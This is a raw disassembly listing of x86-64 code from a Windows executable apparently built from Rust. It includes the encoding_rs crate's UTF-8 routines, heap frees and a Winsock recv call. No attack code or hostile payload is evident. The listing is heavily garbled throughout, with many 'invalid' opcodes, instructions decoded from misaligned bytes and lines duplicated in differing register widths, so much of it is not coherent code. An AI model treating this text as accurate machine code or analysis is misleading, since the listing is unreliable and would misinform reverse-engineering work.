xchg ecx, eax
mov dword [rsp + 0x28], esp
mov qword [rsp + 0x20], r13
mov dword [rsp + 0x20], ebp
mov byte [rsp + 0x30], 0
lea rcx, [rsp + 0x48]
lea ecx, [rsp + 0x48]
and al, 0x30
add byte [rax - 0x73], cl
lea ecx, [rsp + 0x48]
lea r8, [rsp + 0x46]
lea r8, [rsp + 0x46]
add byte [rax - 0x77], cl
cli
call fcn.1400624e0
movzx eax, byte [rsp + 0x50]
lodsb al, byte [rsi]
xchg ebp, eax
invalid
mov ebx, dword [rsp + 0x58]
test eax, eax
je 0x140068fe5
lahf
add byte [rax], al
invalid
lahf
add byte [rax], al
add byte [rax], al
cmp eax, 2
jne case.0x140053187.226
add byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rdi], cl
mov bh, 0x4c
and al, 0x51
add byte [rax], al
movzx ecx, word [rsp + 0x51]
mov al, 2
jne 0x140068f62
mov byte [rdi + 0x28], 8
sub byte [r8], r9b
or byte [rcx], dh
shr cl, cl
xor edx, edx
jmp 0x140069031
enter 0, 0
add byte [rax], al
add byte [rcx + rcx*4 + 0x64], cl
mov qword [rsp + 0x28], r12
add byte [rax], al
and al, 0x28
mov qword [rsp + 0x20], r13
mov dword [rsp + 0x20], ebp
insb byte [rdi], dx
and al, 0x20
mov byte [rsp + 0x38], 0xef
out dx, eax
mov qword [rsp + 0x30], 0
mov rcx, rsi
mov rdx, rdi
mov edx, edi
mov r8, r15
mov eax, edi
mov r9, r14
call fcn.140062360
invalid
xchg ebx, eax
invalid
invalid
jmp 0x14006903f
add byte [rax], al
mov qword [rsp + 0x28], r12
and al, 0x28
sub byte [rcx + rcx*4 + 0x6c], cl
and al, 0x20
mov qword [rsp + 0x20], r13
and al, 0x30
int1
call fcn.1400624e0
movzx eax, byte [rsp + 0x50]
mov dh, 0x44
and al, 0x50
push rax
invalid
push rax
movzx ecx, word [rsp + 0x51]
and al, 0x48
mov r8, qword [rsp + 0x58]
jne 0x140068fd5
mov byte [rdi + 0x28], 0xa
mov byte [rsi + 8], al
mov word [rsi + 9], cx
mov qword [rsi], rdx
invalid
mov rax, r12
sub rax, rbx
jb 0x140069069
mov r8, qword [rsp + 0x58]
and al, 0x58
pop rax
mov rdx, qword [rsp + 0x48]
add rbx, r8
mov byte [rsi + 8], al
mov word [rsi + 9], cx
mov dword [rsi + 9], ecx
mov qword [rsi], rdx
mov qword [rsi + 0x10], rbx
add rsp, 0x60
invalid
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
add byte [rax - 0x77], cl
invalid
mov rcx, rbx
mov rdx, r12
loop 0x14006905f
in eax, 0x7d
str word [rdi]
invalid
mov dh, 0xc2
lea rdx, [0x140208974]
movsxd rax, dword [rdx + rax*4]
add eax, edx
jmp rax
add dword [r8], eax
mov byte [rcx + 3], 0
add eax, 0x741c600
add dh, al
or dword [r8], eax
ret
mov qword [rcx + 8], r8
mov dword [rcx + 8], eax
xor eax, eax
mov byte [rcx], al
ret
ror byte [rax + 0x570fc301], 0xc0
xorps xmm0, xmm0
movups xmmword [rcx + 8], xmm0
mov dword [rcx + 0x18], 0
add byte [rax], al
mov word [rcx + 0x1c], 0xbf80
sbb al, 0x80
cmp byte [rdi + 0x18801b0], 0xc3
mov byte [rcx + 1], 0
add dword [r8], eax
mov edi, 0x18801b0
mov al, 1
mov byte [rcx], al
ret
mov al, 3
mov byte [rcx], al
ret
add dword [rax], eax
mov al, 4
mov byte [rcx], al
ret
mov al, 5
mov byte [rcx], al
ret
invalid
add ebx, eax
add dword [r8], eax
mov al, 8
mov byte [rcx], al
add ebx, eax
add byte [rax - 0x3cfe77f8], dh
add ebx, eax
mov byte [rcx + 2], 0
mov dword [rcx + 4], 0x10000
add byte [rcx], al
add byte [rax - 0x3cfe77f6], dh
invalid
mov byte [rcx], al
ret
add bh, al
add al, 0
add al, 0
add al, 0
add byte [rax], al
add byte [rax - 0x3cfe77f6], dh
or cl, byte [rax + 0x9b0c301]
add ebx, eax
mov al, 9
mov byte [rcx], al
ret
add al, byte [rax]
lea rax, [rcx - 0x77]
add byte [rax - 0x7d], cl
clc
cmp eax, 8
jb case.0x140061f77.127
lea rax, [rcx - 0x87]
lea eax, [rcx - 0x87]
mov edx, 8
cmp rax, 7
jb case.0x140061f77.127
add byte [rax], al
invalid
lea rax, [rcx - 0x99]
invalid
mov edx, 0xb
cmp rax, 0xf
invalid
jb case.0x140061f77.127
invalid
invalid
add byte [rax], al
invalid
invalid
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rcx - 0xaf]
mov edx, recv
cmp rax, 8
invalid
adc dword [rax], eax
add byte [rax], al
xor eax, eax
jmp case.0x140061f77.127
lea eax, [rcx - 0x292]
outsb dx, byte [rsi]
std
invalid
mov edx, setsockopt
cmp rax, 0x20
and byte [rdx + 0x4b], dh
add byte [rax], al
add byte [rax - 0x7d], cl
clc
lea rax, [rcx - 0x487]
mov edx, 0x17
cmp rax, 0x17
cmp eax, 0x17
cmp eax, 0x17
clc
invalid
jb case.0x140061f77.127
lea rax, [rcx - 0x4a6]
mov edx, 0x1a
add byte [rax], al
add byte [rax - 0x7d], cl
cmp eax, 0x1e
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
clc
cmp eax, 0x1e
jb case.0x140061f77.127
invalid
lea rax, [rcx - 0x29f0]
invalid
sar dword [rsi + rbx*8], 0xff
invalid
invalid
stc
add esi, dword [rdi + 0x2b]
lea rcx, [0x14018343a]
sub al, 0xa2
adc dword [rax], eax
movabs byte [0x148510cb70f0011], al
ror dword [rax - 0x7f], 0xf9
out dx, eax
add byte [rax], al
add byte [rdi + 0x1b], dh
invalid
movzx ecx, word [rcx + rdx*2]
add rcx, rax
cmp rcx, 0xef
ja 0x140069239
invalid
lea rax, [0x14018325a]
movzx edx, word [rax + rcx*2]
mov ax, 1
add rsp, 0x28
ret
ror byte [rax - 0x7d], 0xc4
add esp, 0x28
sub bl, al
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srcdata.rs
mov edx, pe_nt_image_headers64
call fcn.140160ed0
xchg byte [rdi + rcx], bh
ud2
int3
neg qword [rcx]
add byte [rcx + 0x63], cl
add al, 0x80
add rax, r8
add eax, eax
jmp rax
movzx eax, byte [rcx + 1]
add rdx, rax
ret 0x830f
lea eax, [rax]
add byte [rax], al
jmp 0x140069391
mov rcx, qword [rcx + 0x10]
inc rax
test rcx, rcx
adc byte [r8 - 1], cl
ror byte [rax - 0x7b], 0xc9
cmove rax, rcx
add rdx, rax
jae 0x1400692ce
jmp 0x140069391
add byte [rcx], al
add byte [rax], al
movzx eax, byte [rcx + 9]
movzx r8d, byte [rcx + 1]
add r8, rax
movzx eax, byte [rcx + 3]
movzx r9d, byte [rcx + 5]
invalid
invalid
add r9, rax
add ecx, eax
add rax, 0x4dc10149
add ecx, eax
add ecx, eax
add r9, r8
movzx eax, byte [rcx + 7]
add rax, r9
add rdx, rax
jb 0x140069391
invalid
invalid
add byte [rax], al
invalid
invalid
invalid
add byte [rax], al
add cl, ch
fld dword [rax]
add byte [rax], al
jmp 0x14006939a
movzx eax, byte [rcx + 1]
add rdx, rax
jb 0x140069391
mov ecx, 3
add byte [rax], al
mov rax, rdx
mul rcx
mov rdx, rax
mov edx, eax
mov edx, eax
seto al
add rdx, 3
setb cl
jmp 0x1400693b1
rol byte [rax + 0xf000179], 0x95
ror byte [rax + 1], 0xc2
jb 0x140069391
add byte [rcx + 3], bh
mov ecx, 3
mov rax, rdx
mul rcx
mul ecx
mov rdx, rax
setno cl
movzx eax, cl
mov dh, 0xc1
mov dh, 0xc1
ret
add byte [rdi], cl
mov dh, 0xc1
ret
setne al
sete r9b
rol dword [rax + riz - 0x40], 0x44
movzx edx, byte [rcx + 1]
push rcx
invalid
rol byte [rdi + rcx - 0x4a], 0x51
add dword [rdi], ecx
mov dh, 0xc0
movzx eax, al
add rax, r10
and r9b, r8b
movzx r9d, r9b
leave
movzx ecx, byte [rcx + 3]
sar ebx, 0x48
cmp ecx, 2
adc r9, 0
add byte [rdx - 0x73], cl
or al, 0xa
lea rcx, [rdx + r9]
add rax, rcx
setb r8b
xchg edx, eax
sal byte [rcx], 0xc9
xchg edx, eax
sal byte [rcx], 0xc9
add r9, rdx
jb 0x1400693ba
test r8b, r8b
jne 0x1400693b6
invalid
mov ecx, 3
add bl, ch
xchg edx, eax
xor eax, eax
cmp word [rcx + 4], 0
setne al
add rax, rax
cmp byte [rcx + 2], 1
sbb rax, 0
xor ecx, ecx
leave
mov ecx, 3
mov rax, rdx
mul rcx
inc edx
sete cl
or cl, al
movzx eax, cl
ret
movzx eax, cl
ret
neg byte [rcx]
add byte [rcx + 0x63], cl
add al, 0x80
add rax, r8
jmp rax
movzx eax, r8b
mov rdx, rcx
ret
setb al
not al
setns cl
cdq
ror dword [rax + 1], 0xd2
cdq
ror dword [rax + 1], 0xd2
and cl, al
add rdx, 2
invalid
add al, byte [rcx + 0xf]
setae r8b
and r8b, cl
and al, cl
xchg ebx, eax
rol byte [rcx + 0x20], 0xc8
and al, cl
and al, cl
mov rcx, rdx
movzx eax, r8b
mov rdx, rcx
ret
xor eax, eax
cmp byte [rcx + 1], 0
setne al
add rdx, rax
setb al
cmp byte [rcx + 2], 0
setne al
sete r9b
xchg esp, eax
rol dword [rax + riz - 0x40], 0x44
movzx edx, byte [rcx + 1]
mov dh, 0x51
invalid
movzx eax, al
add rax, r10
add ecx, dword [rax - 0x7d]
sar ebx, 0x48
sti
invalid
cmp ecx, 2
adc r10, 0
lea rcx, [rdx + r10]
add rax, rcx
enter 0xf41, 0xffffffffffffff92
rol dword [rbp + 0x31], 0xc0
xor eax, eax
setb r9b
xor r8d, r8d
xor eax, eax
add r10, rdx
jb 0x1400693f3
test r9b, r9b
jne 0x1400693f3
invalid
invalid
invalid
mov ecx, 3
jmp 0x1400694df
mov dh, 0x41
add byte [rax], al
add byte [rax - 0x77], cl
ror byte [rax - 9], 1
mul ecx
invalid
mul rcx
mov rcx, rax
mov ecx, eax
setno r8b
movzx eax, r8b
mov rdx, rcx
ret
mov dh, 0x41
add dword [rax + 1], ecx
ret 0x920f
invalid
xchg edx, eax
setb al
jb case.0x14006bacd.128
mov rcx, rdx
inc rcx
jne 0x140069545
xor r8d, r8d
xor ecx, ecx
jmp case.0x140037de3.366
cmp word [rcx + 4], 0
setne al
xchg ebp, eax
ror byte [rax + 1], 0xc0
add eax, eax
xchg ebp, eax
ror byte [rax + 1], 0xc0
add eax, eax
add eax, eax
cmp byte [rcx + 2], 1
add al, byte [rcx]
sbb rax, 0
add rax, 2
add rdx, rax
jae 0x14006956d
xor r8d, r8d
movzx eax, r8b
mov rdx, rcx
shr rcx, 1
mov r8b, 1
setb dl
not dl
and dl, al
ret 0x8348
rol dword [rdx], 0x41
setae al
xchg ebx, eax
rol byte [rcx + 0x20], 0xd0
movzx eax, r8b
mov dh, 0xc0
mov rdx, rcx
ret
shr rdx, 1
mov ecx, 3
mov rax, rdx
mul rcx
mov rcx, rax
seto al
inc rcx
sete r8b
sete al
or r8b, al
xor r8b, 1
movzx eax, r8b
mov rdx, rcx
ret
or byte [rax - 0x7d], cl
rcl byte [rax], 0xe9
stosd dword [rdi], eax
add byte [rax], al
add byte [rbx + rcx*4 + 6], cl
test r8, r8
test eax, eax
je 0x1400695f3
mov rcx, qword [rsi + 8]
mov rax, qword [rdx]
mov rdx, qword [rdx + 8]
or byte [rax + 0x39], cl
invalid
je 0x1400695fc
or byte [rax - 0x75], cl
add cl, byte [rax - 0x75]
push rdx
or byte [rax + 0x39], cl
sal dword [rsi + rcx + 0x48], 1
mov rcx, rdx
mov ecx, edx
jmp case.0x140038460.324
mov rax, qword [rdx]
mov rcx, qword [rdx + 8]
jmp case.0x140038460.324
movdqu xmm0, xmmword [r8]
movdqu xmm1, xmmword [rax]
pcmpeqd xmm1, xmm0
pshufd xmm0, xmm1, 0xb1
invalid
mov cl, 0x66
pand mm0, mm1
sal dword [rcx - 0x3e24f09a], 0x66
mov cl, 0x66
pand mm0, mm1
movmskpd edx, xmm0
movmskps edx, xmm0
cmp edx, 3
jne case.0x140038460.324
invalid
adc al, 0x49
mov edx, dword [rax + 0x10]
mov rdx, qword [r8 + 0x10]
cmp rdx, qword [rax + 0x10]
jne case.0x140038460.324
push rax
adc byte [rbp + 0xa], dh
mov rdx, qword [r8 + 0x18]
cmp rdx, qword [rax + 0x18]
je case.0x140038460.325
sbb byte [rax + 0x3b], cl
push rax
sbb byte [rsi + rbx - 1], dh
call qword [rax]
mov rdi, rax
call qword [rax]
mov rdi, rax
mov rbx, rdx
mov rax, qword [rsi]
test rax, rax
je 0x140069646
mov rcx, qword [rsi + 8]
call qword [rax + 0x18]
mov qword [rsi], rdi
mov qword [rsi + 8], rbx
xor ecx, ecx
mov eax, 1
lock cmpxchg qword [rsi + 0x10], rcx
jne 0x140069664
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
mov rax, qword [rsi]
mov rcx, qword [rsi + 8]
mov qword [rsi], 0
test rax, rax
je 0x14006968b
xor edx, edx
xchg qword [rsi + 0x10], rdx
add rax, 8
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [rax]
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, [0x140195638]
add eax, 0x12bf9f
mov edx, 0x2b
call fcn.140160fb0
str word [rdi]
invalid
mov qword [rsp + 0x78], 0x20
add byte [rax], al
mov byte [rsp + 0x80], 3
mov qword [rsp + 0x48], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add ecx, dword [rax - 0x39]
and al, 0x48
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x58], 0
and al, 0x58
add byte [rax], al
add byte [rax], al
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x68], rdx
lea rdx, fcn.140022090
adc eax, 0x12bf2c
adc eax, 0x12bf2c
mov qword [rsp + 0x70], rdx
push rsp
and al, 0x70
lea rdx, [rsp + 0x48]
call qword [rax + 0x20]
call qword [rax + 0x20]
test al, al
jne 0x1400697ed
invalid
jo 0x1400697c6
lea rbx, [rdi - 1]
lea ebx, [rdi - 1]
lea rax, [rsp + 0x38]
and al, 0x38
and al, 0x38
mov rcx, qword [rsp + 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x10], xmm0
mov byte [rsi + 1], bpl
mov qword [rsi + 8], rcx
or dh, al
invalid
add cl, byte [rax - 0x75]
ja case.0x140059d16.225
invalid
outsb dx, byte [rsi]
add dword [rax - 0x77], ecx
or sil, r8b
or dh, al
or dh, al
invalid
dec dword [rax - 0x75]
jg 0x1400697ac
mov rdi, qword [rdi + 7]
mov edi, dword [rdi + 7]
mov rcx, rsi
int1
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400697ce
invalid
invalid
jg 0x1400697b6
add byte [rbp + rbx + 0x48], dh
cmp dword [rdi + 0x10], 0x11
sbb eax, 0x107f8348
adc dword [rdx + 4], esi
invalid
cmp qword [rdi + 0x10], 0x11
jb 0x1400697bc
add al, 0x48
mov esi, dword [rsi - 8]
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
mov eax, esi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
ret
lea rax, [0x140204730]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_src_string.rs
lea r9, [0x140195738]
lea r8, [rsp + 0x2f]
mov edx, 0x37
call fcn.140161200
ud2
mov rdx, qword [rsi + 0x10]
cmp rdx, qword [rsi + 8]
or byte [rbp + 0xc], dh
or byte [rbp + 0xc], dh
mov rcx, rsi
call fcn.140093b10
retf 0x2a2
invalid
retf 0x2a2
add al, byte [rax]
mov rdx, qword [rsi + 0x10]
mov rax, qword [rsi]
mov eax, dword [rsi]
mov byte [rax + rdx], dil
inc rdx
inc edx
inc edx
mov qword [rsi + 0x10], rdx
jmp 0x14006991f
ret 0
invalid
ret 0
sub al, 0
add byte [rax], al
add byte [rcx + 0xff81f8], cl
cmp edi, 0x800
jae 0x14006988c
cmp edi, 0x800
jae 0x14006988c
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x2c], al
and al, 0x2c
and dil, 0x3f
or dil, 0x80
mov byte [rsp + 0x2d], dil
mov edi, 2
jmp 0x1400698f5
cmp edi, 0x10000
jae 0x1400698be
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x2c], al
sub al, 0x89
clc
sub al, 0x89
clc
shr eax, 6
and al, 0x3f
invalid
or al, 0x80
mov byte [rsp + 0x2d], al
invalid
and dil, 0x3f
or dil, 0x80
add byte [rax - 0x78], 0x7c
and al, 0x2e
add byte [rax - 0x78], 0x7c
and al, 0x2e
mov edi, 3
add eax, dword [rax]
add byte [rax], al
jmp 0x1400698f5
shr eax, 0x12
and al, 7
or al, 0xf0
mov byte [rsp + 0x2c], al
sub al, 0x89
clc
call 0x14c0dbcd6
invalid
sub al, 0x89
clc
shr eax, 0xc
and al, 0x3f
invalid
or al, 0x80
mov byte [rsp + 0x2d], al
invalid
mov eax, edi
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2e], al
and dil, 0x3f
and bh, 0x3f
and bh, 0x3f
or dil, 0x80
mov byte [rsp + 0x2f], dil
mov edi, 4
invalid
add byte [rax - 0x75], cl
or byte [rax - 0x75], r9b
mov rax, qword [rsi + 8]
mov rbx, qword [rsi + 0x10]
pop rsi
adc byte [rax + 0x29], cl
fmul dword [rax + 0x39]
clc
pop rsi
adc byte [rax + 0x29], cl
fmul dword [rax + 0x39]
clc
jb 0x140069929
mov rcx, qword [rsi]
add rcx, rbx
add ecx, ebx
add ecx, ebx
lea rdx, [rsp + 0x2c]
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add byte [rax + 1], cl
sti
add byte [rax + 1], cl
sti
mov qword [rsi + 0x10], rbx
xor eax, eax
add rsp, 0x30
pop rbx
pop rdi
ror byte [rax - 0x7d], 0xc4
xor byte [rbx + 0x5f], bl
pop rsi
ret
mov rcx, rsi
mov rdx, rbx
fimul dword [rcx - 0x77]
clc
fimul dword [rcx - 0x77]
clc
call fcn.14015cc80
mov rbx, qword [rsi + 0x10]
jmp 0x140069905
invalid
str word [rax - 0x75]
pop rsi
adc bl, ch
enter 0xffffffffffffcccc, 0xffffffffffffffcc
sub rsp, 0x28
sub byte [rcx - 0x77], cl
ror byte [rax - 0x77], 1
and al, 0x20
sub byte [rcx - 0x77], cl
ror byte [rax - 0x77], 1
and al, 0x20
lea rdx, [0x1401956c8]
lea rcx, [rsp + 0x20]
call fcn.140059e20
nop
add rsp, 0x28
sub bl, al
sub bl, al
int3
and eax, 0x7f
shl rax, 0x15
add r8, rax
nop
mov rcx, rdi
mov rdx, qword [rsp + 0x98]
call case.0x1400e8349.272
movzx r14d, byte [rsp + 0xb0]
movzx ebx, byte [rsp + 0xf0]
cmp bl, 8
je 0x14006a59e
lea rcx, [rsp + 0xb1]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x2f]
lea rdx, [rsp + 0x51]
movups xmmword [rdx + 0x2f], xmm3
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
mov eax, dword [rcx + 0x40]
mov ecx, dword [rcx + 0x43]
mov dword [rdx + 0x43], ecx
mov dword [rdx + 0x40], eax
xor r13d, r13d
mov rcx, rdi
mov rdx, r15
xor r8d, r8d
call fcn.14006b0d0
mov rax, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
lea rcx, [rsp + 0xc8]
call qword [rax + reloc.WS2_32.dll_recv]
mov byte [rsp + 0x50], r14b
mov byte [rsp + 0x90], bl
mov rcx, r12
lea rdx, [rsp + 0x50]
call fcn.14006b430
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rdx + 8]
cmp rax, rcx
jbe 0x14006a5a4
mov rdx, qword [rdx]
movzx r9d, byte [rdx + rcx]
movzx r8d, r9b
test r8b, r8b
js 0x140069ed0
test r9b, 0x40
jne 0x140069fb0
and r8d, 0xf0
je 0x140069e93
cmp r8d, 0x10
jne 0x14006a1cb
mov rcx, rdi
mov rdx, rsi
mov r8, r15
xor r9d, r9d
call fcn.14006bcb0
movzx r14d, byte [rsp + 0xb0]
movzx ebx, byte [rsp + 0xf0]
cmp bl, 8
jne 0x140069dca
jmp 0x14006a59e
mov r14b, 1
cmp rax, rcx
jbe 0x14006a59e
lea r9, [rcx + 1]
mov qword [rsp + 0x38], r9
and r8d, 0x7f
cmp r8, 0x7f
jne 0x140069da0
cmp rax, r9
jbe 0x14006a59e
movzx r10d, byte [rdx + rcx + 1]
lea r9, [rcx + 2]
mov qword [rsp + 0x38], r9
mov r8d, r10d
and r8d, 0x7f
add r8, 0x7f
test r10b, r10b
jns 0x140069da0
cmp rax, r9
jbe 0x14006a59e
movzx r10d, byte [rdx + rcx + 2]
lea r9, [rcx + 3]
mov qword [rsp + 0x38], r9
mov r11d, r10d
and r11d, 0x7f
shl r11, 7
add r8, r11
test r10b, r10b
jns 0x140069da0
cmp rax, r9
jbe 0x14006a59e
movzx r10d, byte [rdx + rcx + 3]
lea r9, [rcx + 4]
mov qword [rsp + 0x38], r9
mov r11d, r10d
and r11d, 0x7f
shl r11, 0xe
add r8, r11
test r10b, r10b
jns 0x140069da0
cmp rax, r9
jbe 0x14006a59e
movzx eax, byte [rdx + rcx + 4]
add rcx, 5
mov qword [rsp + 0x38], rcx
test al, al
jns 0x140069d95
jmp 0x14006a59b
lea rcx, [rsp + 0x50]
mov rdx, rsi
mov r8, r15
mov r9b, 1
call fcn.14006bcb0
movzx r14d, byte [rsp + 0x50]
movzx eax, byte [rsp + 0x90]
cmp al, 8
je 0x14006a59e
lea rdx, [rsp + 0x51]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmm2, xmmword [rdx + 0x20]
movups xmm3, xmmword [rdx + 0x2f]
lea r8, [rsp + 0x181]
movups xmmword [r8 + 0x2f], xmm3
movups xmmword [r8 + 0x20], xmm2
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8], xmm0
mov ecx, dword [rdx + 0x40]
mov edx, dword [rdx + 0x43]
mov dword [r8 + 0x43], edx
mov dword [r8 + 0x40], ecx
mov byte [rsp + 0x180], r14b
mov byte [rsp + 0x1c0], al
mov rcx, rdi
lea rdx, [rsp + 0x180]
call fcn.14006ca80
mov rcx, rdi
call fcn.14006cca0
mov r14, rax
mov r13, qword [rsi + 0x30]
mov rdi, qword [rsi + 0x38]
add rax, r13
cmp rax, rdi
jbe 0x14006a1a0
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rcx + 0x20]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x28]
lea r12, [rcx - 1]
mov qword [rsp + 0x48], rdx
add rcx, rdx
lea rcx, [rcx + rcx*8]
lea r15, [rax + rcx*8]
add r15, 0xfffffffffffffff8
nop word cs:[rax + rax]
cmp r12, 0xffffffffffffffff
mov rbp, qword [rsp + 0xa0]
je 0x14006a2c8
mov qword [rbp + 0x28], r12
mov rax, qword [rsp + 0x48]
add rax, r12
cmp rax, rbx
mov eax, 0
cmovae rax, rbx
shl rax, 3
lea rax, [rax + rax*8]
mov rcx, r15
sub rcx, rax
movups xmm0, xmmword [rcx - 0x40]
movups xmm1, xmmword [rcx - 0x30]
movups xmm2, xmmword [rcx - 0x20]
movups xmm3, xmmword [rcx - 0x10]
movaps xmmword [rsp + 0x170], xmm3
movaps xmmword [rsp + 0x160], xmm2
movaps xmmword [rsp + 0x150], xmm1
movaps xmmword [rsp + 0x140], xmm0
movzx eax, byte [rcx]
mov edx, dword [rcx + 4]
mov dword [rsp + 0xab], edx
mov ecx, dword [rcx + 1]
mov dword [rsp + 0xa8], ecx
cmp al, 8
je 0x14006a2c8
movaps xmm0, xmmword [rsp + 0x140]
movaps xmm1, xmmword [rsp + 0x150]
movaps xmm2, xmmword [rsp + 0x160]
movaps xmm3, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x80], xmm3
add byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x70], edx
add byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x70], edx
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x90], al
mov eax, dword [rsp + 0xa8]
mov ecx, dword [rsp + 0xab]
lea rdx, [rsp + 0x51]
mov dword [rdx + 0x43], ecx
mov dword [rdx + 0x40], eax
lea rsi, [rsp + 0x50]
mov rcx, rsi
call fcn.14006cca0
sub r13, rax
mov qword [rbp + 0x30], r13
mov rcx, rsi
call fcn.14006cd90
lea rax, [r14 + r13]
dec r12
add r15, 0xffffffffffffffb8
cmp rax, rdi
ja 0x14006a090
nop
cmp rax, rdi
jbe 0x14006a2d7
lea rdi, [rsp + 0xb0]
mov rcx, rdi
call fcn.14006cd90
lea r15, [rsp + 0x30]
lea r12, [rsp + 0x118]
jmp 0x14006a3b9
mov r8d, r9d
and r8b, 0xe0
cmp r8b, 0x20
jne 0x14006a56e
mov r14b, 0xa
test r13b, 1
je 0x14006a5b1
mov r14b, 1
cmp rax, rcx
jbe 0x14006a5b1
lea r8, [rcx + 1]
mov qword [rsp + 0x38], r8
and r9b, 0x1f
cmp r9b, 0x1f
mov qword [rsp + 0x48], r13
jne 0x14006a445
cmp rax, r8
jbe 0x14006a5b1
movzx r9d, byte [rdx + rcx + 1]
mov dh, 0x4c
or al, byte [rcx]
lea r8, [rcx + 2]
mov qword [rsp + 0x38], r8
cmp byte [rcx + rcx*4 - 0x31], al
cmp byte [rcx + rcx*4 - 0x31], al
and edi, 0x7f
add rdi, 0x1f
test r9b, r9b
jns case.0x14002bf98.509
cmp rax, r8
jbe 0x14006a5b1
xchg byte [rbx + rax], ch
invalid
xchg byte [rbx + rax], ch
add byte [rdi + rcx - 0x4a], al
or r8b, byte [rdx]
movzx r9d, byte [rdx + rcx + 2]
lea r8, [rcx + 3]
mov qword [rsp + 0x38], r8
mov r10d, r9d
mov edx, ecx
mov edx, ecx
and r10d, 0x7f
shl r10, 7
add rdi, r10
test r9b, r9b
jns case.0x14002bf98.509
invalid
add byte [rcx + rdi - 0x40], cl
cmp rax, r8
jbe 0x14006a5b1
movzx r9d, byte [rdx + rcx + 3]
or r8b, byte [rbx]
lea r8, [rcx + 4]
mov qword [rsp + 0x38], r8
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x38], eax
mov r10d, r9d
and r10d, 0x7f
shl r10, 0xe
add rdi, r10
test r9b, r9b
jns case.0x14002bf98.509
cmp rax, r8
jbe 0x14006a5b1
xchg byte [rsi], cl
add eax, dword [rax]
invalid
xchg byte [rsi], cl
add eax, dword [rax]
add byte [rdi], cl
movzx eax, byte [rdx + rcx + 4]
add rcx, 5
movzx eax, byte [rdx + rcx + 4]
add rcx, 5
mov qword [rsp + 0x38], rcx
test al, al
ror byte [rdi], 0x88
lsl eax, word [rax]
invalid
ror byte [rdi], 0x88
lsl eax, word [rax]
add byte [rbx - 0x3eb78020], al
shl rax, 0x15
and eax, 0x7f
shl rax, 0x15
add rdi, rax
jmp case.0x14002bf98.509
add byte [rax], al
add byte [rax], al
add r13, r14
mov rax, r13
cmp rax, rdi
cmp eax, edi
cmp eax, edi
clc
ja 0x14006a1a9
invalid
mov rsi, qword [rsp + 0xa0]
add byte [rax], al
mov qword [rsi + 0x30], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x90], rax
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xb0], al
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xb0], al
movups xmm1, xmmword [rsp + 0xc0]
adc byte [rsp + 0xc0], cl
and al, 0xc0
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xd0], dl
movups xmm2, xmmword [rsp + 0xd0]
movups xmm3, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x80], xmm3
sub dword [rsp + 0x80], ebx
sub dword [rsp + 0x80], ebx
movaps xmmword [rsp + 0x70], xmm2
sub dword [rsp + 0x70], edx
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
and al, 0x50
and al, 0x50
push rax
mov rax, qword [rsi + 0x18]
mov rcx, qword [rsi + 0x28]
cmp rcx, rax
lea rdi, [rsp + 0xb0]
lea r15, [rsp + 0x30]
lea edi, [rsp + 0x30]
lea edi, [rsp + 0x30]
and al, 0x30
lea r12, [rsp + 0x118]
jne 0x14006a361
mov rcx, qword [rsp + 0x98]
call fcn.14006ce40
out 0x2a, eax
add byte [rax], al
add al, ch
out 0x2a, eax
add byte [rax], al
mov rax, qword [rsi + 0x18]
mov rcx, qword [rsi + 0x28]
mov rdx, qword [rsi + 0x10]
mov r8, qword [rsi + 0x20]
and byte [rcx - 1], cl
invalid
push rsi
adc byte [rbx + rcx*4 + 0x46], cl
and byte [rcx - 1], cl
